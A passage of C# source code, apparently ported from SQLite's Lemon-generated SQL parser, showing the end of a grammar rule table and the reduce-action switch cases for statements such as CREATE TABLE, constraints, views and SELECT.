_yyRuleInfo( 190, 1 ), new _yyRuleInfo( 190, 1 ), new _yyRuleInfo( 190, 1 ), new _yyRuleInfo( 147, 4 ), new _yyRuleInfo( 192, 2 ), new _yyRuleInfo( 192, 0 ), new _yyRuleInfo( 147, 8 ), new _yyRuleInfo( 147, 4 ), new _yyRuleInfo( 147, 1 ), new _yyRuleInfo( 160, 1 ), new _yyRuleInfo( 160, 3 ), new _yyRuleInfo( 195, 1 ), new _yyRuleInfo( 195, 2 ), new _yyRuleInfo( 195, 1 ), new _yyRuleInfo( 194, 9 ), new _yyRuleInfo( 196, 1 ), new _yyRuleInfo( 196, 1 ), new _yyRuleInfo( 196, 0 ), new _yyRuleInfo( 204, 2 ), new _yyRuleInfo( 204, 0 ), new _yyRuleInfo( 197, 3 ), new _yyRuleInfo( 197, 2 ), new _yyRuleInfo( 197, 4 ), new _yyRuleInfo( 205, 2 ), new _yyRuleInfo( 205, 1 ), new _yyRuleInfo( 205, 0 ), new _yyRuleInfo( 198, 0 ), new _yyRuleInfo( 198, 2 ), new _yyRuleInfo( 207, 2 ), new _yyRuleInfo( 207, 0 ), new _yyRuleInfo( 206, 7 ), new _yyRuleInfo( 206, 7 ), new _yyRuleInfo( 206, 7 ), new _yyRuleInfo( 157, 0 ), new _yyRuleInfo( 157, 2 ), new _yyRuleInfo( 193, 2 ), new _yyRuleInfo( 208, 1 ), new _yyRuleInfo( 208, 2 ), new _yyRuleInfo( 208, 3 ), new _yyRuleInfo( 208, 4 ), new _yyRuleInfo( 210, 2 ), new _yyRuleInfo( 210, 0 ), new _yyRuleInfo( 209, 0 ), new _yyRuleInfo( 209, 3 ), new _yyRuleInfo( 209, 2 ), new _yyRuleInfo( 211, 4 ), new _yyRuleInfo( 211, 0 ), new _yyRuleInfo( 202, 0 ), new _yyRuleInfo( 202, 3 ), new _yyRuleInfo( 214, 4 ), new _yyRuleInfo( 214, 2 ), new _yyRuleInfo( 215, 1 ), new _yyRuleInfo( 177, 1 ), new _yyRuleInfo( 177, 1 ), new _yyRuleInfo( 177, 0 ), new _yyRuleInfo( 200, 0 ), new _yyRuleInfo( 200, 3 ), new _yyRuleInfo( 201, 0 ), new _yyRuleInfo( 201, 2 ), new _yyRuleInfo( 203, 0 ), new _yyRuleInfo( 203, 2 ), new _yyRuleInfo( 203, 4 ), new _yyRuleInfo( 203, 4 ), new _yyRuleInfo( 147, 5 ), new _yyRuleInfo( 199, 0 ), new _yyRuleInfo( 199, 2 ), new _yyRuleInfo( 147, 7 ), new _yyRuleInfo( 217, 5 ), new _yyRuleInfo( 217, 3 ), new _yyRuleInfo( 147, 8 ), new _yyRuleInfo( 147, 5 ), new _yyRuleInfo( 147, 6 ), new _yyRuleInfo( 218, 2 ), new _yyRuleInfo( 218, 1 ), new _yyRuleInfo( 220, 3 ), new _yyRuleInfo( 220, 1 ), new _yyRuleInfo( 219, 0 ), new _yyRuleInfo( 219, 3 ), new _yyRuleInfo( 213, 3 ), new _yyRuleInfo( 213, 1 ), new _yyRuleInfo( 175, 1 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 174, 1 ), new _yyRuleInfo( 175, 1 ), new _yyRuleInfo( 175, 1 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 5 ), new _yyRuleInfo( 174, 1 ), new _yyRuleInfo( 174, 1 ), new _yyRuleInfo( 175, 1 ), new _yyRuleInfo( 175, 1 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 6 ), new _yyRuleInfo( 175, 5 ), new _yyRuleInfo( 175, 4 ), new _yyRuleInfo( 174, 1 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 222, 1 ), new _yyRuleInfo( 222, 2 ), new _yyRuleInfo( 222, 1 ), new _yyRuleInfo( 222, 2 ), new _yyRuleInfo( 223, 2 ), new _yyRuleInfo( 223, 0 ), new _yyRuleInfo( 175, 4 ), new _yyRuleInfo( 175, 2 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 4 ), new _yyRuleInfo( 175, 2 ), new _yyRuleInfo( 175, 2 ), new _yyRuleInfo( 175, 2 ), new _yyRuleInfo( 175, 2 ), new _yyRuleInfo( 224, 1 ), new _yyRuleInfo( 224, 2 ), new _yyRuleInfo( 175, 5 ), new _yyRuleInfo( 225, 1 ), new _yyRuleInfo( 225, 2 ), new _yyRuleInfo( 175, 5 ), new _yyRuleInfo( 175, 3 ), new _yyRuleInfo( 175, 5 ), new _yyRuleInfo( 175, 4 ), new _yyRuleInfo( 175, 4 ), new _yyRuleInfo( 175, 5 ), new _yyRuleInfo( 227, 5 ), new _yyRuleInfo( 227, 4 ), new _yyRuleInfo( 228, 2 ), new _yyRuleInfo( 228, 0 ), new _yyRuleInfo( 226, 1 ), new _yyRuleInfo( 226, 0 ), new _yyRuleInfo( 221, 1 ), new _yyRuleInfo( 221, 0 ), new _yyRuleInfo( 216, 3 ), new _yyRuleInfo( 216, 1 ), new _yyRuleInfo( 147, 11 ), new _yyRuleInfo( 229, 1 ), new _yyRuleInfo( 229, 0 ), new _yyRuleInfo( 179, 0 ), new _yyRuleInfo( 179, 3 ), new _yyRuleInfo( 187, 5 ), new _yyRuleInfo( 187, 3 ), new _yyRuleInfo( 230, 0 ), new _yyRuleInfo( 230, 2 ), new _yyRuleInfo( 147, 4 ), new _yyRuleInfo( 147, 1 ), new _yyRuleInfo( 147, 2 ), new _yyRuleInfo( 147, 3 ), new _yyRuleInfo( 147, 5 ), new _yyRuleInfo( 147, 6 ), new _yyRuleInfo( 147, 5 ), new _yyRuleInfo( 147, 6 ), new _yyRuleInfo( 231, 1 ), new _yyRuleInfo( 231, 1 ), new _yyRuleInfo( 231, 1 ), new _yyRuleInfo( 231, 1 ), new _yyRuleInfo( 231, 1 ), new _yyRuleInfo( 170, 2 ), new _yyRuleInfo( 171, 2 ), new _yyRuleInfo( 233, 1 ), new _yyRuleInfo( 232, 1 ), new _yyRuleInfo( 232, 0 ), new _yyRuleInfo( 147, 5 ), new _yyRuleInfo( 234, 11 ), new _yyRuleInfo( 236, 1 ), new _yyRuleInfo( 236, 1 ), new _yyRuleInfo( 236, 2 ), new _yyRuleInfo( 236, 0 ), new _yyRuleInfo( 237, 1 ), new _yyRuleInfo( 237, 1 ), new _yyRuleInfo( 237, 3 ), new _yyRuleInfo( 238, 0 ), new _yyRuleInfo( 238, 3 ), new _yyRuleInfo( 239, 0 ), new _yyRuleInfo( 239, 2 ), new _yyRuleInfo( 235, 3 ), new _yyRuleInfo( 235, 2 ), new _yyRuleInfo( 241, 1 ), new _yyRuleInfo( 241, 3 ), new _yyRuleInfo( 242, 0 ), new _yyRuleInfo( 242, 3 ), new _yyRuleInfo( 242, 2 ), new _yyRuleInfo( 240, 7 ), new _yyRuleInfo( 240, 8 ), new _yyRuleInfo( 240, 5 ), new _yyRuleInfo( 240, 5 ), new _yyRuleInfo( 240, 1 ), new _yyRuleInfo( 175, 4 ), new _yyRuleInfo( 175, 6 ), new _yyRuleInfo( 191, 1 ), new _yyRuleInfo( 191, 1 ), new _yyRuleInfo( 191, 1 ), new _yyRuleInfo( 147, 4 ), new _yyRuleInfo( 147, 6 ), new _yyRuleInfo( 147, 3 ), new _yyRuleInfo( 244, 0 ), new _yyRuleInfo( 244, 2 ), new _yyRuleInfo( 243, 1 ), new _yyRuleInfo( 243, 0 ), new _yyRuleInfo( 147, 1 ), new _yyRuleInfo( 147, 3 ), new _yyRuleInfo( 147, 1 ), new _yyRuleInfo( 147, 3 ), new _yyRuleInfo( 147, 6 ), new _yyRuleInfo( 147, 6 ), new _yyRuleInfo( 245, 1 ), new _yyRuleInfo( 246, 0 ), new _yyRuleInfo( 246, 1 ), new _yyRuleInfo( 147, 1 ), new _yyRuleInfo( 147, 4 ), new _yyRuleInfo( 247, 7 ), new _yyRuleInfo( 248, 1 ), new _yyRuleInfo( 248, 3 ), new _yyRuleInfo( 249, 0 ), new _yyRuleInfo( 249, 2 ), new _yyRuleInfo( 250, 1 ), new _yyRuleInfo( 250, 3 ), new _yyRuleInfo( 251, 1 ), new _yyRuleInfo( 252, 0 ), new _yyRuleInfo( 252, 4 ), new _yyRuleInfo( 252, 2 ), }; //static void yy_accept(yyParser*); /* Forward Declaration */ /* ** Perform a reduce action and the shift that must immediately ** follow the reduce. */ static void yy_reduce( yyParser yypParser, /* The parser */ int yyruleno /* Number of the rule by which to reduce */ ) { int yygoto; /* The next state */ int yyact; /* The next action */ YYMINORTYPE yygotominor; /* The LHS of the rule reduced */ yymsp yymsp; // yyStackEntry[] yymsp = new yyStackEntry[0]; /* The top of the parser's stack */ int yysize; /* Amount to pop the stack */ Parse pParse = yypParser.pParse; //sqlite3ParserARG_FETCH; yymsp = new yymsp(ref yypParser, yypParser.yyidx); // yymsp[0] = yypParser.yystack[yypParser.yyidx]; #if !NDEBUG if (yyTraceFILE != null && yyruleno >= 0 && yyruleno < yyRuleName.Length) { //(int)(yyRuleName.Length/sizeof(yyRuleName[0])) ){ fprintf(yyTraceFILE, "%sReduce [%s].\n", yyTracePrompt, yyRuleName[yyruleno]); } #endif // * NDEBUG */ /* Silence complaints from purify about yygotominor being uninitialized ** in some cases when it is copied into the stack after the following ** switch. yygotominor is uninitialized when a rule reduces that does ** not set the value of its left-hand side nonterminal. Leaving the ** value of the nonterminal uninitialized is utterly harmless as long ** as the value is never used. So really the only thing this code ** accomplishes is to quieten purify. ** ** 2007-01-16: The wireshark project (www.wireshark.org) reports that ** without this code, their parser segfaults. I'm not sure what there ** parser is doing to make this happen. This is the second bug report ** from wireshark this week. Clearly they are stressing Lemon in ways ** that it has not been previously stressed... (SQLite ticket #2172) */ yygotominor = new YYMINORTYPE(); //memset(yygotominor, 0, yygotominor).Length; switch (yyruleno) { /* Beginning here are the reduction cases. A typical example ** follows: ** case 0: ** //#line ** { ... } // User supplied code ** //#line ** break; */ case 5: /* explain ::= */ //#line 109 "parse.y" { sqlite3BeginParse(pParse, 0); } //#line 2075 "parse.c" break; case 6: /* explain ::= EXPLAIN */ //#line 111 "parse.y" { sqlite3BeginParse(pParse, 1); } //#line 2080 "parse.c" break; case 7: /* explain ::= EXPLAIN QUERY PLAN */ //#line 112 "parse.y" { sqlite3BeginParse(pParse, 2); } //#line 2085 "parse.c" break; case 8: /* cmdx ::= cmd */ //#line 114 "parse.y" { sqlite3FinishCoding(pParse); } //#line 2090 "parse.c" break; case 9: /* cmd ::= BEGIN transtype trans_opt */ //#line 119 "parse.y" { sqlite3BeginTransaction(pParse, yymsp[-1].minor.yy328); } //#line 2095 "parse.c" break; case 13: /* transtype ::= */ //#line 124 "parse.y" { yygotominor.yy328 = TK_DEFERRED; } //#line 2100 "parse.c" break; case 14: /* transtype ::= DEFERRED */ case 15: /* transtype ::= IMMEDIATE */ //yytestcase(yyruleno==15); case 16: /* transtype ::= EXCLUSIVE */ //yytestcase(yyruleno==16); case 114: /* multiselect_op ::= UNION */ //yytestcase(yyruleno==114); case 116: /* multiselect_op ::= EXCEPT|INTERSECT */ //yytestcase(yyruleno==116); //#line 125 "parse.y" { yygotominor.yy328 = yymsp[0].major; } //#line 2109 "parse.c" break; case 17: /* cmd ::= COMMIT trans_opt */ case 18: /* cmd ::= END trans_opt */ //yytestcase(yyruleno==18); //#line 128 "parse.y" { sqlite3CommitTransaction(pParse); } //#line 2115 "parse.c" break; case 19: /* cmd ::= ROLLBACK trans_opt */ //#line 130 "parse.y" { sqlite3RollbackTransaction(pParse); } //#line 2120 "parse.c" break; case 22: /* cmd ::= SAVEPOINT nm */ //#line 134 "parse.y" { sqlite3Savepoint(pParse, SAVEPOINT_BEGIN, yymsp[0].minor.yy0); } //#line 2127 "parse.c" break; case 23: /* cmd ::= RELEASE savepoint_opt nm */ //#line 137 "parse.y" { sqlite3Savepoint(pParse, SAVEPOINT_RELEASE, yymsp[0].minor.yy0); } //#line 2134 "parse.c" break; case 24: /* cmd ::= ROLLBACK trans_opt TO savepoint_opt nm */ //#line 140 "parse.y" { sqlite3Savepoint(pParse, SAVEPOINT_ROLLBACK, yymsp[0].minor.yy0); } //#line 2141 "parse.c" break; case 26: /* create_table ::= createkw temp TABLE ifnotexists nm dbnm */ //#line 147 "parse.y" { sqlite3StartTable(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, yymsp[-4].minor.yy328, 0, 0, yymsp[-2].minor.yy328); } //#line 2148 "parse.c" break; case 27: /* createkw ::= CREATE */ //#line 150 "parse.y" { pParse.db.lookaside.bEnabled = 0; yygotominor.yy0 = yymsp[0].minor.yy0; } //#line 2156 "parse.c" break; case 28: /* ifnotexists ::= */ case 31: /* temp ::= */ //yytestcase(yyruleno==31); case 70: /* autoinc ::= */ //yytestcase(yyruleno==70); case 84: /* init_deferred_pred_opt ::= */ //yytestcase(yyruleno==84); case 86: /* init_deferred_pred_opt ::= INITIALLY IMMEDIATE */ //yytestcase(yyruleno==86); case 97: /* defer_subclause_opt ::= */ //yytestcase(yyruleno==97); case 108: /* ifexists ::= */ //yytestcase(yyruleno==108); case 119: /* distinct ::= ALL */ //yytestcase(yyruleno==119); case 120: /* distinct ::= */ //yytestcase(yyruleno==120); case 222: /* between_op ::= BETWEEN */ //yytestcase(yyruleno==222); case 225: /* in_op ::= IN */ //yytestcase(yyruleno==225); //#line 155 "parse.y" { yygotominor.yy328 = 0; } //#line 2171 "parse.c" break; case 29: /* ifnotexists ::= IF NOT EXISTS */ case 30: /* temp ::= TEMP */ //yytestcase(yyruleno==30); case 71: /* autoinc ::= AUTOINCR */ //yytestcase(yyruleno==71); case 85: /* init_deferred_pred_opt ::= INITIALLY DEFERRED */ //yytestcase(yyruleno==85); case 107: /* ifexists ::= IF EXISTS */ //yytestcase(yyruleno==107); case 118: /* distinct ::= DISTINCT */ //yytestcase(yyruleno==118); case 223: /* between_op ::= NOT BETWEEN */ //yytestcase(yyruleno==223); case 226: /* in_op ::= NOT IN */ //yytestcase(yyruleno==226); //#line 156 "parse.y" { yygotominor.yy328 = 1; } //#line 2183 "parse.c" break; case 32: /* create_table_args ::= LP columnlist conslist_opt RP */ //#line 162 "parse.y" { sqlite3EndTable(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0); } //#line 2190 "parse.c" break; case 33: /* create_table_args ::= AS select */ //#line 165 "parse.y" { sqlite3EndTable(pParse, 0, 0, yymsp[0].minor.yy3); sqlite3SelectDelete(pParse.db, ref yymsp[0].minor.yy3); } //#line 2198 "parse.c" break; case 36: /* column ::= columnid type carglist */ //#line 177 "parse.y" { //yygotominor.yy0.z = yymsp[-2].minor.yy0.z; //yygotominor.yy0.n = (int)(pParse.sLastToken.z-yymsp[-2].minor.yy0.z) + pParse.sLastToken.n; yygotominor.yy0.n = (int)(yymsp[-2].minor.yy0.z.Length - pParse.sLastToken.z.Length) + pParse.sLastToken.n; yygotominor.yy0.z = yymsp[-2].minor.yy0.z.Substring(0, yygotominor.yy0.n); } //#line 2206 "parse.c" break; case 37: /* columnid ::= nm */ //#line 181 "parse.y" { sqlite3AddColumn(pParse, yymsp[0].minor.yy0); yygotominor.yy0 = yymsp[0].minor.yy0; } //#line 2214 "parse.c" break; case 38: /* id ::= ID */ case 39: /* id ::= INDEXED */ //yytestcase(yyruleno==39); case 40: /* ids ::= ID|STRING */ //yytestcase(yyruleno==40); case 41: /* nm ::= id */ //yytestcase(yyruleno==41); case 42: /* nm ::= STRING */ //yytestcase(yyruleno==42); case 43: /* nm ::= JOIN_KW */ //yytestcase(yyruleno==43); case 46: /* typetoken ::= typename */ //yytestcase(yyruleno==46); case 49: /* typename ::= ids */ //yytestcase(yyruleno==49); case 126: /* as ::= AS nm */ //yytestcase(yyruleno==126); case 127: /* as ::= ids */ //yytestcase(yyruleno==127); case 137: /* dbnm ::= DOT nm */ //yytestcase(yyruleno==137); case 146: /* indexed_opt ::= INDEXED BY nm */ //yytestcase(yyruleno==146); case 251: /* collate ::= COLLATE ids */ //yytestcase(yyruleno==251); case 260: /* nmnum ::= plus_num */ //yytestcase(yyruleno==260); case 261: /* nmnum ::= nm */ //yytestcase(yyruleno==261); case 262: /* nmnum ::= ON */ //yytestcase(yyruleno==262); case 263: /* nmnum ::= DELETE */ //yytestcase(yyruleno==263); case 264: /* nmnum ::= DEFAULT */ //yytestcase(yyruleno==264); case 265: /* plus_num ::= plus_opt number */ //yytestcase(yyruleno==265); case 266: /* minus_num ::= MINUS number */ //yytestcase(yyruleno==266); case 267: /* number ::= INTEGER|FLOAT */ //yytestcase(yyruleno==267); case 285: /* trnm ::= nm */ //yytestcase( yyruleno == 285 ); //#line 191 "parse.y" { yygotominor.yy0 = yymsp[0].minor.yy0; } //#line 2240 "parse.c" break; case 45: /* type ::= typetoken */ //#line 253 "parse.y" { sqlite3AddColumnType(pParse, yymsp[0].minor.yy0); } //#line 2245 "parse.c" break; case 47: /* typetoken ::= typename LP signed RP */ //#line 255 "parse.y" { //yygotominor.yy0.z = yymsp[-3].minor.yy0.z; //yygotominor.yy0.n = (int)( yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-3].minor.yy0.z ); yygotominor.yy0.n = yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + yymsp[0].minor.yy0.n; yygotominor.yy0.z = yymsp[-3].minor.yy0.z.Substring(0, yygotominor.yy0.n); } //#line 2253 "parse.c" break; case 48: /* typetoken ::= typename LP signed COMMA signed RP */ //#line 259 "parse.y" { //yygotominor.yy0.z = yymsp[-5].minor.yy0.z; //yygotominor.yy0.n = (int)(yymsp[0].minor.yy0.z[yymsp[0].minor.yy0.n] - yymsp[-5].minor.yy0.z); yygotominor.yy0.n = yymsp[-5].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length + 1; yygotominor.yy0.z = yymsp[-5].minor.yy0.z.Substring(0, yygotominor.yy0.n); } //#line 2261 "parse.c" break; case 50: /* typename ::= typename ids */ //#line 265 "parse.y" { //yygotominor.yy0.z=yymsp[-1].minor.yy0.z; yygotominor.yy0.n=yymsp[0].minor.yy0.n+(int)(yymsp[0].minor.yy0.z-yymsp[-1].minor.yy0.z); yygotominor.yy0.z = yymsp[-1].minor.yy0.z; yygotominor.yy0.n = yymsp[0].minor.yy0.n + (int)(yymsp[-1].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length); } //#line 2266 "parse.c" break; case 57: /* ccons ::= DEFAULT term */ case 59: /* ccons ::= DEFAULT PLUS term */ //yytestcase(yyruleno==59); //#line 276 "parse.y" { sqlite3AddDefaultValue(pParse, yymsp[0].minor.yy346); } //#line 2272 "parse.c" break; case 58: /* ccons ::= DEFAULT LP expr RP */ //#line 277 "parse.y" { sqlite3AddDefaultValue(pParse, yymsp[-1].minor.yy346); } //#line 2277 "parse.c" break; case 60: /* ccons ::= DEFAULT MINUS term */ //#line 279 "parse.y" { ExprSpan v = new ExprSpan(); v.pExpr = sqlite3PExpr(pParse, TK_UMINUS, yymsp[0].minor.yy346.pExpr, 0, 0); v.zStart = yymsp[-1].minor.yy0.z; v.zEnd = yymsp[0].minor.yy346.zEnd; sqlite3AddDefaultValue(pParse, v); } //#line 2288 "parse.c" break; case 61: /* ccons ::= DEFAULT id */ //#line 286 "parse.y" { ExprSpan v = new ExprSpan(); spanExpr(v, pParse, TK_STRING, yymsp[0].minor.yy0); sqlite3AddDefaultValue(pParse, v); } //#line 2297 "parse.c" break; case 63: /* ccons ::= NOT NULL onconf */ //#line 296 "parse.y" { sqlite3AddNotNull(pParse, yymsp[0].minor.yy328); } //#line 2302 "parse.c" break; case 64: /* ccons ::= PRIMARY KEY sortorder onconf autoinc */ //#line 298 "parse.y" { sqlite3AddPrimaryKey(pParse, 0, yymsp[-1].minor.yy328, yymsp[0].minor.yy328, yymsp[-2].minor.yy328); } //#line 2307 "parse.c" break; case 65: /* ccons ::= UNIQUE onconf */ //#line 299 "parse.y" { sqlite3CreateIndex(pParse, 0, 0, 0, 0, yymsp[0].minor.yy328, 0, 0, 0, 0); } //#line 2312 "parse.c" break; case 66: /* ccons ::= CHECK LP expr RP */ //#line 300 "parse.y" { sqlite3AddCheckConstraint(pParse, yymsp[-1].minor.yy346.pExpr); } //#line 2317 "parse.c" break; case 67: /* ccons ::= REFERENCES nm idxlist_opt refargs */ //#line 302 "parse.y" { sqlite3CreateForeignKey(pParse, 0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy14, yymsp[0].minor.yy328); } //#line 2322 "parse.c" break; case 68: /* ccons ::= defer_subclause */ //#line 303 "parse.y" { sqlite3DeferForeignKey(pParse, yymsp[0].minor.yy328); } //#line 2327 "parse.c" break; case 69: /* ccons ::= COLLATE ids */ //#line 304 "parse.y" { sqlite3AddCollateType(pParse, yymsp[0].minor.yy0); } //#line 2332 "parse.c" break; case 72: /* refargs ::= */ //#line 317 "parse.y" { yygotominor.yy328 = OE_Restrict * 0x010101; } //#line 2337 "parse.c" break; case 73: /* refargs ::= refargs refarg */ //#line 318 "parse.y" { yygotominor.yy328 = (yymsp[-1].minor.yy328 & ~yymsp[0].minor.yy429.mask) | yymsp[0].minor.yy429.value; } //#line 2342 "parse.c" break; case 74: /* refarg ::= MATCH nm */ //#line 320 "parse.y" { yygotominor.yy429.value = 0; yygotominor.yy429.mask = 0x000000; } //#line 2347 "parse.c" break; case 75: /* refarg ::= ON DELETE refact */ //#line 321 "parse.y" { yygotominor.yy429.value = yymsp[0].minor.yy328; yygotominor.yy429.mask = 0x0000ff; } //#line 2352 "parse.c" break; case 76: /* refarg ::= ON UPDATE refact */ //#line 322 "parse.y" { yygotominor.yy429.value = yymsp[0].minor.yy328 << 8; yygotominor.yy429.mask = 0x00ff00; } //#line 2357 "parse.c" break; case 77: /* refarg ::= ON INSERT refact */ //#line 323 "parse.y" { yygotominor.yy429.value = yymsp[0].minor.yy328 << 16; yygotominor.yy429.mask = 0xff0000; } //#line 2362 "parse.c" break; case 78: /* refact ::= SET NULL */ //#line 325 "parse.y" { yygotominor.yy328 = OE_SetNull; } //#line 2367 "parse.c" break; case 79: /* refact ::= SET DEFAULT */ //#line 326 "parse.y" { yygotominor.yy328 = OE_SetDflt; } //#line 2372 "parse.c" break; case 80: /* refact ::= CASCADE */ //#line 327 "parse.y" { yygotominor.yy328 = OE_Cascade; } //#line 2377 "parse.c" break; case 81: /* refact ::= RESTRICT */ //#line 328 "parse.y" { yygotominor.yy328 = OE_Restrict; } //#line 2382 "parse.c" break; case 82: /* defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt */ case 83: /* defer_subclause ::= DEFERRABLE init_deferred_pred_opt */ //yytestcase(yyruleno==83); case 98: /* defer_subclause_opt ::= defer_subclause */ //yytestcase(yyruleno==98); case 100: /* onconf ::= ON CONFLICT resolvetype */ //yytestcase(yyruleno==100); case 103: /* resolvetype ::= raisetype */ //yytestcase(yyruleno==103); //#line 330 "parse.y" { yygotominor.yy328 = yymsp[0].minor.yy328; } //#line 2391 "parse.c" break; case 87: /* conslist_opt ::= */ //#line 340 "parse.y" { yygotominor.yy0.n = 0; yygotominor.yy0.z = null; } //#line 2396 "parse.c" break; case 88: /* conslist_opt ::= COMMA conslist */ //#line 341 "parse.y" { yygotominor.yy0 = yymsp[-1].minor.yy0; } //#line 2401 "parse.c" break; case 93: /* tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf */ //#line 347 "parse.y" { sqlite3AddPrimaryKey(pParse, yymsp[-3].minor.yy14, yymsp[0].minor.yy328, yymsp[-2].minor.yy328, 0); } //#line 2406 "parse.c" break; case 94: /* tcons ::= UNIQUE LP idxlist RP onconf */ //#line 349 "parse.y" { sqlite3CreateIndex(pParse, 0, 0, 0, yymsp[-2].minor.yy14, yymsp[0].minor.yy328, 0, 0, 0, 0); } //#line 2411 "parse.c" break; case 95: /* tcons ::= CHECK LP expr RP onconf */ //#line 351 "parse.y" { sqlite3AddCheckConstraint(pParse, yymsp[-2].minor.yy346.pExpr); } //#line 2416 "parse.c" break; case 96: /* tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt */ //#line 353 "parse.y" { sqlite3CreateForeignKey(pParse, yymsp[-6].minor.yy14, yymsp[-3].minor.yy0, yymsp[-2].minor.yy14, yymsp[-1].minor.yy328); sqlite3DeferForeignKey(pParse, yymsp[0].minor.yy328); } //#line 2424 "parse.c" break; case 99: /* onconf ::= */ //#line 367 "parse.y" { yygotominor.yy328 = OE_Default; } //#line 2429 "parse.c" break; case 101: /* orconf ::= */ //#line 369 "parse.y" { yygotominor.yy186 = OE_Default; } //#line 2434 "parse.c" break; case 102: /* orconf ::= OR resolvetype */ //#line 370 "parse.y" { yygotominor.yy186 = (u8)yymsp[0].minor.yy328; } //#line 2439 "parse.c" break; case 104: /* resolvetype ::= IGNORE */ //#line 372 "parse.y" { yygotominor.yy328 = OE_Ignore; } //#line 2444 "parse.c" break; case 105: /* resolvetype ::= REPLACE */ //#line 373 "parse.y" { yygotominor.yy328 = OE_Replace; } //#line 2449 "parse.c" break; case 106: /* cmd ::= DROP TABLE ifexists fullname */ //#line 377 "parse.y" { sqlite3DropTable(pParse, yymsp[0].minor.yy65, 0, yymsp[-1].minor.yy328); } //#line 2456 "parse.c" break; case 109: /* cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select */ //#line 387 "parse.y" { sqlite3CreateView(pParse, yymsp[-7].minor.yy0, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy3, yymsp[-6].minor.yy328, yymsp[-4].minor.yy328); } //#line 2463 "parse.c" break; case 110: /* cmd ::= DROP VIEW ifexists fullname */ //#line 390 "parse.y" { sqlite3DropTable(pParse, yymsp[0].minor.yy65, 1, yymsp[-1].minor.yy328); } //#line 2470 "parse.c" break; case 111: /* cmd ::= select */ //#line 397 "parse.y" { SelectDest dest = new SelectDest(SRT_Output, '\0', 0, 0, 0); sqlite3Select(pParse, yymsp[0].minor.yy3, ref dest); sqlite3SelectDelete(pParse.db, ref yymsp[0].minor.yy3); } //#line 2479 "parse.c" break; case 112: /* select ::= oneselect */ //#line 408 "parse.y" { yygotominor.yy3 = yymsp[0].minor.yy3; } //#line 2484 "parse.c" break; case 113: /* select ::= select multiselect_op oneselect */ //#line 410 "parse.y" { if (yymsp[0].minor.yy3 != null) { yymsp[0].minor.yy3.op = (u8)yymsp[-1].minor.yy328; yymsp[0].minor.yy3.pPrior = yymsp[-2].minor.yy3; } else { sqlite3SelectDelete(pParse.db, ref yymsp[-2].minor.yy3); } yygotominor.yy3 = yymsp[0].minor.yy3; } //#line 2497 "parse.c" break; case 115: /* multiselect_op ::= UNION ALL */ //#line 421 "parse.y" { yygotominor.yy328 = TK_ALL; } //#line 2502 "parse.c" break; case 117: /* oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt */ //#line 425 "parse.y" { yygotominor.yy3 = sqlite3SelectNew(pParse, yymsp[-6].minor.yy14, yymsp[-5].minor.yy65, yymsp[-4].minor.yy132, yymsp[-3].minor.yy14, yymsp[-2].minor.yy132, yymsp[-1].minor.yy14, yymsp[-7].minor.yy328, yymsp[0].minor.yy476.pLimit, yymsp[0].minor.yy476.pOffset); } //#line 2509 "parse.c" break; case 121: /* sclp ::= selcollist COMMA */ case 247: /* idxlist_opt ::= LP idxlist RP */ //yytestcase(yyruleno==247); //#line 446 "parse.y" { yygotominor.yy14 = yymsp[-1].minor.yy14; } //#line 2515 "parse.c" break; case 122: /* sclp ::= */ case 150: /* orderby_opt ::= */ //yytestcase(yyruleno==150); case 158: /* groupby_opt ::= */ //yytestcase(yyruleno==158); case 240: /* exprlist ::= */ //yytestcase(yyruleno==240); case 246: /* idxlist_opt ::= */ //yytestcase(yyruleno==246); //#line 447 "parse.y" { yygotominor.yy14 = null; } //#line 2524 "parse.c" break; case 123: /* selcollist ::= sclp expr as */ //#line 448 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-2].minor.yy14, yymsp[-1].minor.yy346.pExpr); if (yymsp[0].minor.yy0.n > 0) sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[0].minor.yy0, 1); sqlite3ExprListSetSpan(pParse, yygotominor.yy14, yymsp[-1].minor.yy346); } //#line 2533 "parse.c" break; case 124: /* selcollist ::= sclp STAR */ //#line 453 "parse.y" { Expr p = sqlite3Expr(pParse.db, TK_ALL, null); yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-1].minor.yy14, p); } //#line 2541 "parse.c" break; case 125: /* selcollist ::= sclp nm DOT STAR */ //#line 457 "parse.y" { Expr pRight = sqlite3PExpr(pParse, TK_ALL, 0, 0, yymsp[0].minor.yy0); Expr pLeft = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0); Expr pDot = sqlite3PExpr(pParse, TK_DOT, pLeft, pRight, 0); yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-3].minor.yy14, pDot); } //#line 2551 "parse.c" break; case 128: /* as ::= */ //#line 470 "parse.y" { yygotominor.yy0.n = 0; } //#line 2556 "parse.c" break; case 129: /* from ::= */ //#line 482 "parse.y" { yygotominor.yy65 = new SrcList(); }//sqlite3DbMallocZero(pParse.db, sizeof(*yygotominor.yy65)); //#line 2561 "parse.c" break; case 130: /* from ::= FROM seltablist */ //#line 483 "parse.y" { yygotominor.yy65 = yymsp[0].minor.yy65; 